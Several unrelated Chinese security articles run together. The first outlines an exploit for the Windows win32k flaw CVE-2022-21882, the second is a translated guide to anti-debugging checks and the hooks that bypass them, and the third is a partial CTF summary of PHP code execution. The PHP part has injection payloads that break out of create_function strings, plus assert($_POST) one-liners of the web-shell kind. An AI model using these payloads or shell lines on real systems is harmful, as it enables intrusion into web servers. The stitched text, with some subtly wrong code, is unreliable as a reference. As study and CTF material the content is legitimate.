2022年1月份，微软补丁日修补了一个CVE编号为CVE-2022-21882的漏洞，该漏洞模块为win32k，经过分析该漏洞为2021年Bitter组织对国内攻击时用到的CVE-2021-1732
本地提权漏洞的绕过，目前已经通过对比补丁已经写出了可以利用的EXP。
### 补丁对比
微软对多个消息处理函数进行了处理，处理方法大同小异
我们以xxxSwitchWndProc为例，其中有2个有意思的地方。
第一个为红色框，可以进行一次memcpy
第二个为椭圆框，可以重新设置tagWnd的0x128，也就是ExtraByte。
### 漏洞利用
申请ExtraByte的函数对应的应用层函数为_xxxClientAllocWindowClassExtraBytes，可以看到返回值由NtCallbackReturn决定，我们可以在应用层hook该函数，或许可以进行任意地址的返回，从而控制上述图中的pExtrabyte
经过调试发现，并不是所有的值都可以返回，该地址必须为用户态地址，因此任意地址写失败。
我们再来看第二种情况，在memcpy(虽然给的地址异常，但是并不会蓝屏，最终还是要回到内核态)之后可以把pExtrabyte设置到tagwnd的0x128偏移处,如果hook
xxxClientAllocWindowClassExtraBytes函数并设置Extra
Flag包含0x800标志位，那么不就是CVE-2021-1732的绕过了吗?（关于CVE-2021-1732在此不再做阐述）其实到这里，思路基本已经很清晰了，我们只需要在创建完成的窗口上，对xxxClientAllocWindowClassExtraBytes进行hook，在hook函数里面进行0x800的标志位设置，以及特殊地址的返回。
然后在合适的时机进行xxxSwitchWndProc函数的调用，笔者是通过微软未导出函数NtUserMessageCall
动态调试看一下，可以看到返回值为我们通过hook进行返回的偏移
成功设置到了0x128（ExtraByte）处
效果如下，代码基本与笔者在Github的CVE-2021-1732利用代码一致，只是稍微进行了修改。CVE-2021-1732只是在Createwindow中对xxxClientAllocWindowClassExtraBytes返回后，Extra
Flag位进行了判断是否包含0x800，并未在其他场景进行限制，因此造成了漏洞可以bypass
## 关于我们
360沙箱云是 360
自主研发的在线高级威胁分析平台，对提交的文件、URL，经过静态检测、动态分析等多层次分析的流程，触发揭示漏洞利用、检测逃逸等行为，对检测样本进行恶意定性，弥补使用规则查杀的局限性，通过行为分析发现未知、高级威胁，形成高级威胁鉴定、0day
漏洞捕获、情报输出的解决方案；帮助安全管理员聚焦需关注的安全告警，过安全运营人员的分析后输出有价值的威胁情报，为企业形成专属的威胁情报生产能力，形成威胁管理闭环。解决当前政企用户安全管理困境及专业安全人员匮乏问题，沙箱云为用户提供持续跟踪微软已纰漏，但未公开漏洞利用代码的1day，以及在野0day的能力。
360混天零实验室成立于2015年，负责高级威胁自动化检测项目和云沙箱技术研究，专注于通过自动化监测手段高效发现高级威胁攻击；依托于 360
安全大数据，多次发现和监测到在野漏洞利用、高级威胁攻击、大规模网络挂马等危害网络安全的攻击事件，多次率先捕获在野利用 0day
漏洞的网络攻击并获得厂商致谢，在野 0day 漏洞的发现能力处于国内外领先地位，为上亿用户上网安全提供安全能力保障。 | 社区文章 |
# Windows平台常见反调试技术梳理（下）
|
##### 译文声明
本文是翻译文章，文章原作者 apriorit，文章来源：apriorit.com
原文地址：<https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 反调试方法
### 软件及硬件断点
断点（breakpoint）是调试器提供的主要工具。我们可以使用断点在特定位置中断程序执行流程。断点有两种类型：
1、软件断点
2、硬件断点
如果没有断点支持，我们很难逆向分析目标软件。常用的反逆向分析技巧都会检测断点是否存在，因此我们也有对应的反调试方法。
**软件断点**
在IA-32架构中，有一条特殊的指令：带有`0xCC`操作码（opcode）的`int
3h`，这条指令可以用来调用调试句柄。当CPU执行这条指令时，就会产生中断，将控制权交给调试器。为了获得控制权，调试器需要将`int
3h`指令注入代码中。为了检测断点是否存在，我们可以计算函数的校验和。示例代码如下：
DWORD CalcFuncCrc(PUCHAR funcBegin, PUCHAR funcEnd)
{
DWORD crc = 0;
for (; funcBegin < funcEnd; ++funcBegin)
{
crc += *funcBegin;
}
return crc;
}
#pragma auto_inline(off)
VOID DebuggeeFunction()
{
int calc = 0;
calc += 2;
calc <<= 8;
calc -= 3;
}
VOID DebuggeeFunctionEnd()
{
};
#pragma auto_inline(on)
DWORD g_origCrc = 0x2bd0;
int main()
{
DWORD crc = CalcFuncCrc((PUCHAR)DebuggeeFunction, (PUCHAR)DebuggeeFunctionEnd);
if (g_origCrc != crc)
{
std::cout << "Stop debugging program!" << std::endl;
exit(-1);
}
return 0;
}
需要注意的是，以上代码只有在设置`/INCREMENTAL:NO`链接器选项时才能生效，否则当获取函数地址来计算校验和时，我们会得到相对跳转地址：
DebuggeeFunction:
013C16DB jmp DebuggeeFunction (013C4950h)
`g_origCrc`全局变量中包含`CalcFuncCrc`函数已计算出的`crc`。为了检测函数尾部，我们使用了stub函数（桩函数）技巧。由于函数代码顺序存放，`DebuggeeFunction`函数的尾部就是`DebuggeeFunctionEnd`函数的头部。我们还使用了`#pragma
auto_inline(off)`指令来阻止编译器在中间嵌入函数。
**如何绕过**
绕过软件断点检测并没有通用的方法。如果想完成该任务，我们应当找到计算校验和的代码，将返回值替换为其他常量值，也要修改存储函数校验和的所有变量的值。
**硬件断点**
在x86架构中，开发者在检查和调试代码时会用到一些调试寄存器。这些寄存器可以让我们中断程序执行流，在读写内存时将控制权交给调试器。调试寄存器属于特权资源，程序只有在实模式（real
mode）或者安全模式（safe mode）下且特权级`CPL=0`时才能使用这些寄存器。调试寄存器总共有8个，分别为`DR0`–`DR7`：
* `DR0`–`DR3`：断点寄存器
* `DR4`及`DR5`：保留
* `DR6`：调试状态
* `DR7`：调试控制
`DR0`–`DR3`包含断点的线性地址。系统会在物理地址转换之前比较这些地址。每个断点都在`DR7`寄存器中单独描述。`DR6`寄存器用来表示哪个断点处于激活状态。`DR7`通过访问模式来定义断点激活模式，分别为：读取（read）、写入（write）或者执行（execute）。基于硬件断点的检查示例如下所示：
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (GetThreadContext(GetCurrentThread(), &ctx))
{
if (ctx.Dr0 != 0 || ctx.Dr1 != 0 || ctx.Dr2 != 0 || ctx.Dr3 != 0)
{
std::cout << "Stop debugging program!" << std::endl;
exit(-1);
}
}
我们也可以通过`SetThreadContext`函数来重设硬件断点。重设硬件断点的代码如下所示：
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext(GetCurrentThread(), &ctx);
这样所有DRx寄存器都会被清零。
**如何绕过**
如果我们观察`GetThreadContext`函数，可以看到其中会调用`NtGetContextThread`函数。
0:000> u KERNELBASE!GetThreadContext L6
KERNELBASE!GetThreadContext:
7538d580 8bff mov edi,edi
7538d582 55 push ebp
7538d583 8bec mov ebp,esp
7538d585 ff750c push dword ptr [ebp+0Ch]
7538d588 ff7508 push dword ptr [ebp+8]
7538d58b ff1504683975 call dword ptr [KERNELBASE!_imp__NtGetContextThread (75396804)]
为了让代码读取`Dr0`–`Dr7`寄存器的值为0，我们需要重设`CONTEXT`结构中`ContextFlags`字段的`CONTEXT_DEBUG_REGISTERS`标志，然后在`NtGetContextThread`函数调用后恢复该值。至于`GetThreadContext`函数，该函数调用的是`NtSetContextThread`。绕过硬件断点检查并重置相关字段的代码如下所示：
typedef NTSTATUS(NTAPI *pfnNtGetContextThread)(
_In_ HANDLE ThreadHandle,
_Out_ PCONTEXT pContext
);
typedef NTSTATUS(NTAPI *pfnNtSetContextThread)(
_In_ HANDLE ThreadHandle,
_In_ PCONTEXT pContext
);
pfnNtGetContextThread g_origNtGetContextThread = NULL;
pfnNtSetContextThread g_origNtSetContextThread = NULL;
NTSTATUS NTAPI HookNtGetContextThread(
_In_ HANDLE ThreadHandle,
_Out_ PCONTEXT pContext)
{
DWORD backupContextFlags = pContext->ContextFlags;
pContext->ContextFlags &= ~CONTEXT_DEBUG_REGISTERS;
NTSTATUS status = g_origNtGetContextThread(ThreadHandle, pContext);
pContext->ContextFlags = backupContextFlags;
return status;
}
NTSTATUS NTAPI HookNtSetContextThread(
_In_ HANDLE ThreadHandle,
_In_ PCONTEXT pContext)
{
DWORD backupContextFlags = pContext->ContextFlags;
pContext->ContextFlags &= ~CONTEXT_DEBUG_REGISTERS;
NTSTATUS status = g_origNtSetContextThread(ThreadHandle, pContext);
pContext->ContextFlags = backupContextFlags;
return status;
}
void HookThreadContext()
{
HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll"));
g_origNtGetContextThread = (pfnNtGetContextThread)GetProcAddress(hNtDll, "NtGetContextThread");
g_origNtSetContextThread = (pfnNtSetContextThread)GetProcAddress(hNtDll, "NtSetContextThread");
Mhook_SetHook((PVOID*)&g_origNtGetContextThread, HookNtGetContextThread);
Mhook_SetHook((PVOID*)&g_origNtSetContextThread, HookNtSetContextThread);
}
### SEH
SEH（Structured Exception
Handling）是操作系统向应用程序提供的一种机制，使应用程序可以接受关于异常情况的通知（如除以0、引用不存在的指针或者执行受限指令）。这种机制可以让我们在应用内部处理异常，无需操作系统介入。如果异常没有被处理，就会导致程序异常终止。开发者通常会在栈中找到指向SEH的指针，也就是SEH帧（SEH
frame）。当前SEH帧地址位于`FS`选择器（x64系统上是`GS`选择器）相对地址offset
0处，该地址指向的是`ntdll!_EXCEPTION_REGISTRATION_RECORD`结构：
0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : Ptr32 _EXCEPTION_DISPOSITION
当出现异常时，控制权将交给当前的SEH处理函数（handler）。根据所处的具体情况，这个SEH处理函数应当返回如下某个`_EXCEPTION_DISPOSITION`枚举值：
typedef enum _EXCEPTION_DISPOSITION {
ExceptionContinueExecution,
ExceptionContinueSearch,
ExceptionNestedException,
ExceptionCollidedUnwind
} EXCEPTION_DISPOSITION;
如果处理函数返回的是`ExceptionContinueSearch`，系统会从触发异常的指令处继续执行。如果处理函数不知道如何处理异常，就会返回`ExceptionContinueSearch`，然后系统会移到处理链中的下一个处理函数。我们可以在WinDbg调试器中使用`!exchain`命令浏览当前的异常处理链：
0:000> !exchain
00a5f3bc: AntiDebug!_except_handler4+0 (008b7530)
CRT scope 0, filter: AntiDebug!SehInternals+67 (00883d67)
func: AntiDebug!SehInternals+6d (00883d6d)
00a5f814: AntiDebug!__scrt_stub_for_is_c_termination_complete+164b (008bc16b)
00a5f87c: AntiDebug!_except_handler4+0 (008b7530)
CRT scope 0, filter: AntiDebug!__scrt_common_main_seh+1b0 (008b7c60)
func: AntiDebug!__scrt_common_main_seh+1cb (008b7c7b)
00a5f8e8: ntdll!_except_handler4+0 (775674a0)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+54386 (7757f076)
func: ntdll!__RtlUserThreadStart+543cd (7757f0bd)
00a5f900: ntdll!FinalExceptionHandlerPad4+0 (77510213)
链中最后一个处理程序是系统分配的默默人处理程序。如果之前的所有处理程序都无法处理异常，那么系统处理程序就会访问注册表，获取如下键值：
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AeDebug
根据`AeDebug`表项的值，应用程序会被终止，或者控制权会交给调试器。调试器路径位于`Debugger`表项中（`REG_SZ`）。
当创建新进程时，系统会将主SEH帧（primary SEH
frame）加入其中。主SEH帧的处理程序同样由系统定义。主SEH帧大多数情况下位于分配给进程的内存栈的开头处。SEH处理程序函数原型如下所示：
typedef EXCEPTION_DISPOSITION (*PEXCEPTION_ROUTINE) (
__in struct _EXCEPTION_RECORD *ExceptionRecord,
__in PVOID EstablisherFrame,
__inout struct _CONTEXT *ContextRecord,
__inout PVOID DispatcherContext
);
如果应用程序正在被调试，那么在生成`int 3h`中断后，调试器将会拦截控制权。否则，控制权就会交给SEH处理函数。基于SEH帧的反调试代码如下所示：
BOOL g_isDebuggerPresent = TRUE;
EXCEPTION_DISPOSITION ExceptionRoutine(
PEXCEPTION_RECORD ExceptionRecord,
PVOID EstablisherFrame,
PCONTEXT ContextRecord,
PVOID DispatcherContext)
{
g_isDebuggerPresent = FALSE;
ContextRecord->Eip += 1;
return ExceptionContinueExecution;
}
int main()
{
__asm
{
// set SEH handler
push ExceptionRoutine
push dword ptr fs:[0]
mov dword ptr fs:[0], esp
// generate interrupt
int 3h
// return original SEH handler
mov eax, [esp]
mov dword ptr fs:[0], eax
add esp, 8
}
if (g_isDebuggerPresent)
{
std::cout << "Stop debugging program!" << std::endl;
exit(-1);
}
return 0
}
如上代码中设置了SEH处理函数，指向该处理函数的指针位于处理链的开头，然后生成`int
3h`中断。如果应用程序没有被调试，控制权会转给SEH处理程序，`g_isDebuggerPresent`的值会被设置为`FALSE`。`ContextRecord->Eip
+= 1`这一行代码会修改执行流中的下一条指令地址，这样就会执行在`int
3h`后的下一条指令。然后代码返回原始的SEH处理函数，清空栈，并且检查是否存在调试器。
**如何绕过**
虽然绕过SEH检查并没有通用的方法，但逆向分析人员还是可以使用某些技术来减轻工作量。我们来观察下关于SEH处理程序的调用栈：
0:000> kn
# ChildEBP RetAddr
00 0059f06c 775100b1 AntiDebug!ExceptionRoutine
01 0059f090 77510083 ntdll!ExecuteHandler2+0x26
02 0059f158 775107ff ntdll!ExecuteHandler+0x24
03 0059f158 003b11a5 ntdll!KiUserExceptionDispatcher+0xf
04 0059fa90 003d7f4e AntiDebug!main+0xb5
05 0059faa4 003d7d9a AntiDebug!invoke_main+0x1e
06 0059fafc 003d7c2d AntiDebug!__scrt_common_main_seh+0x15a
07 0059fb04 003d7f68 AntiDebug!__scrt_common_main+0xd
08 0059fb0c 753e7c04 AntiDebug!mainCRTStartup+0x8
09 0059fb20 7752ad1f KERNEL32!BaseThreadInitThunk+0x24
0a 0059fb68 7752acea ntdll!__RtlUserThreadStart+0x2f
0b 0059fb78 00000000 ntdll!_RtlUserThreadStart+0x1b
可以看到该调用来自于`ntdll!ExecuteHandler2`。这个函数是任何SEH处理函数的调用起点。我们可以在调用指令处设置断点：
0:000> u ntdll!ExecuteHandler2+24 L3
ntdll!ExecuteHandler2+0x24:
775100af ffd1 call ecx
775100b1 648b2500000000 mov esp,dword ptr fs:[0]
775100b8 648f0500000000 pop dword ptr fs:[0]
0:000> bp 775100af
设置断点后，我们应该分析被调用的每个SEH处理函数的代码。如果反调试技术涉及到对SEH处理函数的多次调用，那么逆向人员应该花精力绕过这些函数。
### VEH
VEH（Vectored Exception Handler）是从Windows
XP引入的一种机制，也是SEH的变种。VEH和SEH并不相互依赖，可以同时工作。当添加了新的VEH处理函数时，SEH链并不会受到影响，因为VEH处理函数存在于未导出的`ntdll!LdrpVectorHandlerList`变量中。VEH和SEH机制非常相似，唯一的区别在于系统使用已公开的函数来设置并删除VEH处理函数。添加并删除VEH处理函数的函数原型以及VEH处理函数本身的原型如下所示：
PVOID WINAPI AddVectoredExceptionHandler(
ULONG FirstHandler,
PVECTORED_EXCEPTION_HANDLER VectoredHandler
);
ULONG WINAPI RemoveVectoredExceptionHandler(
PVOID Handler
);
LONG CALLBACK VectoredHandler(
PEXCEPTION_POINTERS ExceptionInfo
);
The _EXCEPTION_POINTERS structure looks like this:
typedef struct _EXCEPTION_POINTERS {
PEXCEPTION_RECORD ExceptionRecord;
PCONTEXT ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;
在处理函数中收到控制权后，系统会收集当前进程上下文并通过`ContextRecord`参数进行传递。使用VEH的反调试代码如下所示：
LONG CALLBACK ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
PCONTEXT ctx = ExceptionInfo->ContextRecord;
if (ctx->Dr0 != 0 || ctx->Dr1 != 0 || ctx->Dr2 != 0 || ctx->Dr3 != 0)
{
std::cout << "Stop debugging program!" << std::endl;
exit(-1);
}
ctx->Eip += 2;
return EXCEPTION_CONTINUE_EXECUTION;
}
int main()
{
AddVectoredExceptionHandler(0, ExceptionHandler);
__asm int 1h;
return 0;
}
这里我们设置了一个VEH处理函数并生成中断（`int
1h`不是必需操作）。当产生中断时，会出现异常，控制权会转给VEH处理函数。如果设置了硬件断点，系统就会终止程序执行。如果没有硬件断点，`EIP`寄存器的值就会加2，以便在`int
1h`指令后继续执行。
**如何绕过**
来观察下涉及到VEH处理函数的调用栈：
0:000> kn
# ChildEBP RetAddr
00 001cf21c 774d6822 AntiDebug!ExceptionHandler
01 001cf26c 7753d151 ntdll!RtlpCallVectoredHandlers+0xba
02 001cf304 775107ff ntdll!RtlDispatchException+0x72
03 001cf304 00bf4a69 ntdll!KiUserExceptionDispatcher+0xf
04 001cfc1c 00c2680e AntiDebug!main+0x59
05 001cfc30 00c2665a AntiDebug!invoke_main+0x1e
06 001cfc88 00c264ed AntiDebug!__scrt_common_main_seh+0x15a
07 001cfc90 00c26828 AntiDebug!__scrt_common_main+0xd
08 001cfc98 753e7c04 AntiDebug!mainCRTStartup+0x8
09 001cfcac 7752ad1f KERNEL32!BaseThreadInitThunk+0x24
0a 001cfcf4 7752acea ntdll!__RtlUserThreadStart+0x2f
0b 001cfd04 00000000 ntdll!_RtlUserThreadStart+0x1b
如上所示，控制权会从`main+0x59`转移到`ntdll!KiUserExceptionDispatcher`。来看下`main+0x59`中负责该操作的具体指令：
0:000> u main+59 L1
AntiDebug!main+0x59
00bf4a69 cd02 int 1
生成中断的指令如上所示。`KiUserExceptionDispatcher`函数是系统从内核模式到用户模式的一个回调函数，函数原型如下所示：
VOID NTAPI KiUserExceptionDispatcher(
PEXCEPTION_RECORD pExcptRec,
PCONTEXT ContextFrame
);
我们可以通过`KiUserExceptionDispatcher`函数hook来绕过硬件断点检测，如下所示：
typedef VOID (NTAPI *pfnKiUserExceptionDispatcher)(
PEXCEPTION_RECORD pExcptRec,
PCONTEXT ContextFrame
);
pfnKiUserExceptionDispatcher g_origKiUserExceptionDispatcher = NULL;
VOID NTAPI HandleKiUserExceptionDispatcher(PEXCEPTION_RECORD pExcptRec, PCONTEXT ContextFrame)
{
if (ContextFrame && (CONTEXT_DEBUG_REGISTERS & ContextFrame->ContextFlags))
{
ContextFrame->Dr0 = 0;
ContextFrame->Dr1 = 0;
ContextFrame->Dr2 = 0;
ContextFrame->Dr3 = 0;
ContextFrame->Dr6 = 0;
ContextFrame->Dr7 = 0;
ContextFrame->ContextFlags &= ~CONTEXT_DEBUG_REGISTERS;
}
}
__declspec(naked) VOID NTAPI HookKiUserExceptionDispatcher()
// Params: PEXCEPTION_RECORD pExcptRec, PCONTEXT ContextFrame
{
__asm
{
mov eax, [esp + 4]
mov ecx, [esp]
push eax
push ecx
call HandleKiUserExceptionDispatcher
jmp g_origKiUserExceptionDispatcher
}
}
int main()
{
HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll"));
g_origKiUserExceptionDispatcher = (pfnKiUserExceptionDispatcher)GetProcAddress(hNtDll, "KiUserExceptionDispatcher");
Mhook_SetHook((PVOID*)&g_origKiUserExceptionDispatcher, HookKiUserExceptionDispatcher);
return 0;
}
在上述代码中，DRx寄存器的值会在`HookKiUserExceptionDispatcher`函数中重置，也就是说，会在调用VEH处理函数前重置。
### NtSetInformationThread：从调试器中隐藏线程
在Windows
2000中，出现了传递给`NtSetInformationThread`函数的一个新的线程信息类：`ThreadHideFromDebugger`。这是微软在研究如何防御逆向工程时在Windows中引入的第一个反调试技术，并且这种技术也非常强大。如果某个线程设置了该标志，那么该线程就会停止发送关于调试事件的通知。这些事件包括断点信息以及关于程序完成的通知信息。该标志的值存放于`_ETHREAD`结构的`HideFromDebugger`字段中。
1: kd> dt _ETHREAD HideFromDebugger 86bfada8
ntdll!_ETHREAD
+0x248 HideFromDebugger : 0y1
设置`ThreadHideFromDebugger`的代码如下所示：
typedef NTSTATUS (NTAPI *pfnNtSetInformationThread)(
_In_ HANDLE ThreadHandle,
_In_ ULONG ThreadInformationClass,
_In_ PVOID ThreadInformation,
_In_ ULONG ThreadInformationLength
);
const ULONG ThreadHideFromDebugger = 0x11;
void HideFromDebugger()
{
HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll"));
pfnNtSetInformationThread NtSetInformationThread = (pfnNtSetInformationThread)
GetProcAddress(hNtDll, "NtSetInformationThread");
NTSTATUS status = NtSetInformationThread(GetCurrentThread(),
ThreadHideFromDebugger, NULL, 0);
}
**如何绕过**
为了阻止应用程序向调试器隐藏线程信息，我们需要hook `NtSetInformationThread`函数调用。hook代码如下所示：
pfnNtSetInformationThread g_origNtSetInformationThread = NULL;
NTSTATUS NTAPI HookNtSetInformationThread(
_In_ HANDLE ThreadHandle,
_In_ ULONG ThreadInformationClass,
_In_ PVOID ThreadInformation,
_In_ ULONG ThreadInformationLength
)
{
if (ThreadInformationClass == ThreadHideFromDebugger &&
ThreadInformation == 0 && ThreadInformationLength == 0)
{
return STATUS_SUCCESS;
}
return g_origNtSetInformationThread(ThreadHandle,
ThreadInformationClass, ThreadInformation, ThreadInformationLength
}
void SetHook()
{
HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll"));
if (NULL != hNtDll)
{
g_origNtSetInformationThread = (pfnNtSetInformationThread)GetProcAddress(hNtDll, "NtSetInformationThread");
if (NULL != g_origNtSetInformationThread)
{
Mhook_SetHook((PVOID*)&g_origNtSetInformationThread, HookNtSetInformationThread);
}
}
}
在被hook的函数中，如果正确调用的话就会返回`STATUS_SUCCESS`，并且不会将控制权交给原始的`NtSetInformationThread`函数。
### NtCreateThreadEx
Windows从Vista开始引入了`NtCreateThreadEx`函数，函数原型如下所示：
NTSTATUS NTAPI NtCreateThreadEx (
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits,
_In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize,
_In_opt_ PVOID AttributeList
);
其中最有趣的参数是`CreateFlags`，该参数可以使用如下标志：
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004
#define THREAD_CREATE_FLAGS_HAS_SECURITY_DESCRIPTOR 0x00000010
#define THREAD_CREATE_FLAGS_ACCESS_CHECK_IN_TARGET 0x00000020
#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080
如果新线程设置了`THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER`标志，那么在创建时就可以向调试器隐藏该线程信息，这与`NtSetInformationThread`函数设置的`ThreadHideFromDebugger`相同。负责安全任务的代码可以在设置`THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER`标志的线程中执行。
**如何绕过**
我们可以hook
`NtCreateThreadEx`函数来绕过这种技术，在该函数中重置`THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER`。
### 句柄跟踪
从Windows
XP开始，Windows系统就具备跟踪内核对象句柄的机制。当跟踪模式启动后，与句柄所有操作都会被保存到循环缓冲区中，并且当使用不存在的句柄时（比如使用`CloseHandle`函数关闭该句柄），那么就会出现`EXCEPTION_INVALID_HANDLE`异常。如果进程没有通过调试器启动，那么`CloseHandle`函数会返回`FALSE`。基于`CloseHandle`的反调试技术代码如下所示：
EXCEPTION_DISPOSITION ExceptionRoutine(
PEXCEPTION_RECORD ExceptionRecord,
PVOID EstablisherFrame,
PCONTEXT ContextRecord,
PVOID DispatcherContext)
{
if (EXCEPTION_INVALID_HANDLE == ExceptionRecord->ExceptionCode)
{
std::cout << "Stop debugging program!" << std::endl;
exit(-1);
}
return ExceptionContinueExecution;
}
int main()
{
__asm
{
// set SEH handler
push ExceptionRoutine
push dword ptr fs : [0]
mov dword ptr fs : [0], esp
}
CloseHandle((HANDLE)0xBAAD);
__asm
{
// return original SEH handler
mov eax, [esp]
mov dword ptr fs : [0], eax
add esp, 8
}
return 0
}
### 篡改堆栈段
当修改`ss`堆栈段（stack segment register）寄存器时，调试器会跳过指令跟踪。在如下示例中，调试器会立即移到`xor edx,
edx`指令，而上一条指令仍会被执行。
> 这里大家可以拓展阅读“[How to Reverse Engineer Software (Windows) in a Right
> Way](https://www.apriorit.com/dev-blog/364-how-to-reverse-engineer-software-> windows-in-a-right-way)”这篇文章。
### 调试信息
从Windows
10开始，Windows修改了`OutputDebugString`函数的实现，改成带有特定参数的`RaiseException`调用。因此，现在调试输出异常必须由调试器来处理。
我们可以使用两种异常类型来检测是否存在调试器，分别为`DBG_PRINTEXCEPTION_C`（`0x40010006`）以及`DBG_PRINTEXCEPTION_W`（`0x4001000A`）。
#define DBG_PRINTEXCEPTION_WIDE_C 0x4001000A
WCHAR * outputString = L"Any text";
ULONG_PTR args[4] = {0};
args[0] = (ULONG_PTR)wcslen(outputString) + 1;
args[1] = (ULONG_PTR)outputString;
__try
{
RaiseException(DBG_PRINTEXCEPTION_WIDE_C, 0, 4, args);
printf("Debugger detected");
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
printf("Debugger NOT detected");
}
因此，如果异常没有被处理，就意味着没有附加调试器。
`DBG_PRINTEXCEPTION_W`用于宽字符输出，`DBG_PRINTEXCEPTION_C`用于`ansi`字符。这意味着在使用`DBG_PRINTEXCEPTION_C`的情况下，`arg[0]`会保存`strlen()`的结果，而`args[1]`在指向`ansi`字符串（`char
*`）。
## 0x02 总结
本文描述了一系列反逆向工程技术，特别是反调试方法。我们从最简单的技术开始，也介绍了相应的绕过方法。本文并没有覆盖所有技术，还有一些技术大家可以自己进一步研究，比如：
* 自调试进程
* 使用`FindWindow`函数的调试器检测技术
* 基于时间计算的检测技术（参考[这篇文章](https://www.apriorit.com/dev-blog/298-anti-debug-time-plugin)）
* `NtQueryObject`
* `BlockInput`
* `NtSetDebugFilterState`
* 自修改代码
虽然我们主要关注的是反调试保护方法，还有其他一些反逆向分析方法，包括反转储（anti-dumping）以及混淆技术。
这里我们要再次强调一下，即使最优秀的反逆向分析技术也无法完全避免软件被逆向分析。反调试技术的主要任务是使逆向分析人员操作起来更为复杂，尽可能提高反逆向分析的难度。
## 0x03 参考资料
<https://msdn.microsoft.com/library>
<http://www.infosecinstitute.com/>
<http://pferrie.tripod.com/>
<http://www.openrce.org/articles/>
<http://www.nynaeve.net/>
<http://stackoverflow.com/>
<http://x86.renejeschke.de/> | 社区文章 |
# 命令执行与代码执行的小结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前记
总结了一下在ctf里经常遇到的命令执行和代码执行的利用点。
## 代码执行
### 执行代码的几种方式
* `${}`执行代码
* eval
* assert
* preg_replace
* create_function()
* array_map()
* call_user_func()/call_user_func_array()
* array_filter()
* usort(),uasort()
**`${}`执行代码**
`${php代码}`
${phpinfo()};
**eval()执行代码**
eval('echo 2;');
**assert()**
普通调用
//?a=phpinfo()
<?php assert($_POST['a']);?>
assert函数支持动态调用
//?a=phpinfo()
<?php
$a = 'assert';
$a($_POST['a']);
?>
**php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。**
以上两种调用方法在php7.0.29版本之前都测试成功，7.0.29版本之后又动态调用的方法无法成功。
在7.0.29版本之后发现的奇怪的一点
<?php
//?a=phpinfo()
$a = 'assert';
$a($_POST['a']);
?>
//phpinfo()无法执行成功
<?php
$a = 'assert';
$a(phpinfo());
?>
//成功执行phpinfo()
**preg_replace()**
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
preg_replace 执行一个正则表达式的搜索和替换。
执行代码需要使用`/e`修饰符。如果不使用`/e`修饰符，代码则不会执行
$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');
**create_function()**
说明
string create_function ( string $args , string $code )
该函数用来创建匿名函数。
这个函数的实现大概是这样的
$b = create_function('$name','echo $name;');
//实现
function niming($name){
echo $name;
}
$b(yang);
niming('yang');
第二个参数是执行代码的地方，将payload放在第二个参数的位置，然后调用该函数就可以执行payload了。
执行代码
$a = 'phpinfo();';
$b = create_function(" ",$a);
$b();
上面这种方法是最直接的，接下来看一点有趣的。
**自己写的小示例**
$id=$_GET['id'];
$code = 'echo $name. '.'的编号是'.$id.'; ';
$b = create_function('$name',$code);
//实现
function niming($name){
echo $name."编号".$id;
}
$b('sd');
这里直接传入phpinfo是不行的，构造的payload
?id=2;}phpinfo();/*
传入后，代码如下
function niming($name){
echo $name.编号2;
}phpinfo();/*
}
这样就执行了代码，再给出网上找的一个例子。
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = ‘strnatcasecmp’;
$databases=array(’1234′,’4321′);
$sort_function = ‘ return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);’;
usort($databases, create_function(‘$a, $b’, $sort_function));
?>
构造的payload如下
?sort_by=”]);}phpinfo();/*
在自己写示例的时候，因为网上的一个示例纠结了挺久。
代码如下
<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>
纠结的原因是在这个例子中，构造`$str2`的时候，将变量a和变量b都写在了引号之外，但是变量a是匿名函数的参数，如果直接写在单引号外面的话，解析的时候会认为`$a`没有赋值，从而设置为空。继续往下看，匿名函数也就无法正常的执行。所以就在想办法将`$a`写在单引号里面，使其可以正常的作为匿名函数的第二个参数。
本应该挺容易的事儿，但是改来改去花了好久。最终的结果便是开头写的示例。
**array_map()**
官方文档
array array_map ( callable $callback , array $array1 [, array $... ] )
array_map()：返回数组，是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量，两者必须一样。
